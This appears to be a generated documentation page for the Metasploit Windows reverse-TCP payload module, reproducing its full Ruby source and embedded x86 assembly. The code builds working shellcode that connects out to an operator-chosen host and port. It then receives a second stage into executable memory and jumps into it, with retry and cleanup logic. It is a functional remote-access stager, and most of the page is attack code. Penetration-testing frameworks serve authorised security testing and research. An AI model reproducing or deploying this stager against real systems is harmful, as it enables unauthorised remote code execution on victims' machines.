Module: Msf::Payload::Windows::ReverseTcp

Includes:
TransportConfig, Msf::Payload::Windows, BlockApi, Exitfunk, SendUUID
Included in:
ReverseTcpDns, ReverseTcpRc4, ReverseUdp
Defined in:
lib/msf/core/payload/windows/reverse_tcp.rb

Overview

Complex reverse_tcp payload generation for Windows ARCH_X86

Constant Summary

Constants included from Rex::Payloads::Meterpreter::UriChecksum

Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_CONN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_CONN_MAX_LEN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INITJ, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INITN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INITP, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INITW, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INIT_CONN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_MIN_LEN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_MODES, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_UUID_MIN_LEN

Instance Method Summary collapse

Methods included from Exitfunk

#asm_exitfunk

Methods included from BlockApi

#asm_block_api

Methods included from SendUUID

#asm_send_uuid, #uuid_required_size

Methods included from Msf::Payload::Windows

#apply_prepends, exit_types, #handle_intermediate_stage, #replace_var

Methods included from PrependMigrate

#apply_prepend_migrate, #prepend_migrate, #prepend_migrate?, #prepend_migrate_64

Methods included from TransportConfig

#transport_config_bind_named_pipe, #transport_config_bind_tcp, #transport_config_reverse_http, #transport_config_reverse_https, #transport_config_reverse_ipv6_tcp, #transport_config_reverse_named_pipe, #transport_config_reverse_tcp, #transport_config_reverse_udp, #transport_uri_components

Methods included from UUID::Options

#generate_payload_uuid, #generate_uri_uuid_mode, #record_payload_uuid, #record_payload_uuid_url

Methods included from Rex::Payloads::Meterpreter::UriChecksum

#generate_uri_checksum, #generate_uri_uuid, #process_uri_resource, #uri_checksum_lookup

Instance Method Details

#asm_block_recv(opts = {}) ⇒ Object

Generate an assembly stub with the configured feature set and options.

Parameters:

  • opts (Hash) (defaults to: {}) —

    a customizable set of options

Options Hash (opts):

  • :reliable (Bool) —

    Whether or not to enable error handling code



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# File 'lib/msf/core/payload/windows/reverse_tcp.rb', line 225

def asm_block_recv(opts={})
  reliable     = opts[:reliable]
  asm = %Q^
    recv:
      ; Receive the size of the incoming second stage...
      push 0                  ; flags
      push 4                  ; length = sizeof( DWORD );
      push esi                ; the 4 byte buffer on the stack to hold the second stage length
      push edi                ; the saved socket
      push #{Rex::Text.block_api_hash('ws2_32.dll', 'recv')}
      call ebp                ; recv( s, &dwLength, 4, 0 );
  ^

  if reliable
    asm << %Q^
      ; reliability: check to see if the recv worked, and reconnect
      ; if it fails
      cmp eax, 0
      jle cleanup_socket
    ^
  end

  asm << %Q^
      ; Alloc a RWX buffer for the second stage
      mov esi, [esi]          ; dereference the pointer to the second stage length
      push 0x40               ; PAGE_EXECUTE_READWRITE
      push 0x1000             ; MEM_COMMIT
      push esi                ; push the newly received second stage length.
      push 0                  ; NULL as we dont care where the allocation is.
      push #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualAlloc')}
      call ebp                ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
      ; Receive the second stage and execute it...
      xchg ebx, eax           ; ebx = our new memory address for the new stage
      push ebx                ; push the address of the new stage so we can return into it

    read_more:
      push 0                  ; flags
      push esi                ; length
      push ebx                ; the current address into our second stage's RWX buffer
      push edi                ; the saved socket
      push #{Rex::Text.block_api_hash('ws2_32.dll', 'recv')}
      call ebp                ; recv( s, buffer, length, 0 );
  ^

  if reliable
    asm << %Q^
      ; reliability: check to see if the recv worked, and reconnect
      ; if it fails
      cmp eax, 0
      jge read_successful

      ; something failed, free up memory
      pop eax                 ; get the address of the payload
      push 0x4000             ; dwFreeType (MEM_DECOMMIT)
      push 0                  ; dwSize
      push eax                ; lpAddress
      push #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualFree')}
      call ebp                ; VirtualFree(payload, 0, MEM_DECOMMIT)

    cleanup_socket:
      ; clear up the socket
      push edi                ; socket handle
      push #{Rex::Text.block_api_hash('ws2_32.dll', 'closesocket')}
      call ebp                ; closesocket(socket)

      ; restore the stack back to the connection retry count
      pop esi
      pop esi
      dec [esp]               ; decrement the counter

      ; try again
      jnz create_socket
      jmp failure
    ^
  end

  asm << %Q^
    read_successful:
      add ebx, eax            ; buffer += bytes_received
      sub esi, eax            ; length -= bytes_received, will set flags
      jnz read_more           ; continue if we have more to read
      ret                     ; return into the second stage
  ^

  if opts[:exitfunk]
    asm << asm_exitfunk(opts)
  end

  asm
end

#asm_reverse_tcp(opts = {}) ⇒ Object

Generate an assembly stub with the configured feature set and options.

Parameters:

  • opts (Hash) (defaults to: {}) —

    a customizable set of options

Options Hash (opts):

  • :port (Integer) —

    The port to connect to

  • :exitfunk (String) —

    The exit method to use if there is an error, one of process, thread, or seh

  • :retry_count (Integer) —

    Number of retry attempts



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# File 'lib/msf/core/payload/windows/reverse_tcp.rb', line 103

def asm_reverse_tcp(opts={})

  retry_count  = [opts[:retry_count].to_i, 1].max
  encoded_port = "0x%.8x" % [opts[:port].to_i,2].pack("vn").unpack("N").first
  encoded_host = "0x%.8x" % Rex::Socket.addr_aton(opts[:host]||"127.127.127.127").unpack("V").first

  addr_fam      = 2
  sockaddr_size = 16

  asm = %Q^
    ; Input: EBP must be the address of 'api_call'.
    ; Output: EDI will be the socket for the connection to the server
    ; Clobbers: EAX, ESI, EDI, ESP will also be modified (-0x1A0)

    reverse_tcp:
      push '32'               ; Push the bytes 'ws2_32',0,0 onto the stack.
      push 'ws2_'             ; ...
      push esp                ; Push a pointer to the "ws2_32" string on the stack.
      push #{Rex::Text.block_api_hash('kernel32.dll', 'LoadLibraryA')}
      mov eax, ebp
      call eax                ; LoadLibraryA( "ws2_32" )

      mov eax, 0x0190         ; EAX = sizeof( struct WSAData )
      sub esp, eax            ; alloc some space for the WSAData structure
      push esp                ; push a pointer to this struct
      push eax                ; push the wVersionRequested parameter
      push #{Rex::Text.block_api_hash('ws2_32.dll', 'WSAStartup')}
      call ebp                ; WSAStartup( 0x0190, &WSAData );

    set_address:
      push #{retry_count}     ; retry counter

    create_socket:
      push #{encoded_host}    ; host in little-endian format
      push #{encoded_port}    ; family AF_INET and port number
      mov esi, esp            ; save pointer to sockaddr struct

      push eax                ; if we succeed, eax will be zero, push zero for the flags param.
      push eax                ; push null for reserved parameter
      push eax                ; we do not specify a WSAPROTOCOL_INFO structure
      push eax                ; we do not specify a protocol
      inc eax                 ;
      push eax                ; push SOCK_STREAM
      inc eax                 ;
      push eax                ; push AF_INET
      push #{Rex::Text.block_api_hash('ws2_32.dll', 'WSASocketA')}
      call ebp                ; WSASocketA( AF_INET, SOCK_STREAM, 0, 0, 0, 0 );
      xchg edi, eax           ; save the socket for later, don't care about the value of eax after this
  ^
  # Check if a bind port was specified
  if opts[:bind_port]
    bind_port    = opts[:bind_port]
    encoded_bind_port = "0x%.8x" % [bind_port.to_i,2].pack("vn").unpack("N").first
    asm << %Q^
      xor eax, eax
      push 11
      pop ecx
      push_0_loop:
      push eax               ; if we succeed, eax will be zero, push it enough times
                             ; to cater for both IPv4 and IPv6
      loop push_0_loop

                       ; bind to 0.0.0.0/[::], pushed above
      push #{encoded_bind_port}   ; family AF_INET and port number
      mov esi, esp           ; save a pointer to sockaddr_in struct
      push #{sockaddr_size}  ; length of the sockaddr_in struct (we only set the first 8 bytes, the rest aren't used)
      push esi               ; pointer to the sockaddr_in struct
      push edi               ; socket
      push #{Rex::Text.block_api_hash('ws2_32.dll', 'bind')}
      call ebp               ; bind( s, &sockaddr_in, 16 );
      push #{encoded_host}    ; host in little-endian format
      push #{encoded_port}    ; family AF_INET and port number
      mov esi, esp
    ^
  end

  asm << %Q^
    try_connect:
      push 16                 ; length of the sockaddr struct
      push esi                ; pointer to the sockaddr struct
      push edi                ; the socket
      push #{Rex::Text.block_api_hash('ws2_32.dll', 'connect')}
      call ebp                ; connect( s, &sockaddr, 16 );

      test eax,eax            ; non-zero means a failure
      jz connected

    handle_connect_failure:
      ; decrement our attempt count and try again
      dec dword [esi+8]
      jnz try_connect
  ^

  if opts[:exitfunk]
    asm << %Q^
    failure:
      call exitfunk
    ^
  else
    asm << %Q^
    failure:
      push 0x56A2B5F0         ; hardcoded to exitprocess for size
      call ebp
    ^
  end

  asm << %Q^
    ; this label is required so that reconnect attempts include
    ; the UUID stuff if required.
    connected:
  ^

  asm << asm_send_uuid if include_send_uuid

  asm
end

#generate(opts = {}) ⇒ Object

Generate the first stage



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# File 'lib/msf/core/payload/windows/reverse_tcp.rb', line 30

def generate(opts={})
  ds = opts[:datastore] || datastore
  conf = {
    port:        ds['LPORT'],
    host:        ds['LHOST'],
    retry_count: ds['ReverseConnectRetries'],
    bind_port:   ds['PayloadBindPort'],
    reliable:    false
  }

  # Generate the advanced stager if we have space
  if self.available_space && cached_size && required_space <= self.available_space
    conf[:exitfunk] = ds['EXITFUNC']
    conf[:reliable] = true
  end

  generate_reverse_tcp(conf)
end

#generate_reverse_tcp(opts = {}) ⇒ Object

Generate and compile the stager



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# File 'lib/msf/core/payload/windows/reverse_tcp.rb', line 64

def generate_reverse_tcp(opts={})
  combined_asm = %Q^
    cld                    ; Clear the direction flag.
    call start             ; Call start, this pushes the address of 'api_call' onto the stack.
    #{asm_block_api}
    start:
      pop ebp
    #{asm_reverse_tcp(opts)}
    #{asm_block_recv(opts)}
  ^
  Metasm::Shellcode.assemble(Metasm::X86.new, combined_asm).encode_string
end

#include_send_uuid ⇒ Object

By default, we don’t want to send the UUID, but we’ll send for certain payloads if requested.



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# File 'lib/msf/core/payload/windows/reverse_tcp.rb', line 53

def include_send_uuid
  false
end

#initialize(*args) ⇒ Object

Register reverse tcp specific options



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# File 'lib/msf/core/payload/windows/reverse_tcp.rb', line 22

def initialize(*args)
  super
  register_advanced_options([ OptString.new('PayloadBindPort', [false, 'Port to bind reverse tcp socket to on target system.']) ], self.class)
end

#required_space ⇒ Object

Determine the maximum amount of space required for the features requested



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# File 'lib/msf/core/payload/windows/reverse_tcp.rb', line 80

def required_space
  # Start with our cached default generated size
  space = cached_size

  # EXITFUNK 'thread' is the biggest by far, adds 29 bytes.
  space += 29

  # Reliability adds some bytes!
  space += 44

  space += uuid_required_size if include_send_uuid

  # The final estimated size
  space
end

#transport_config(opts = {}) ⇒ Object 



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# File 'lib/msf/core/payload/windows/reverse_tcp.rb', line 57

def transport_config(opts={})
  transport_config_reverse_tcp(opts)
end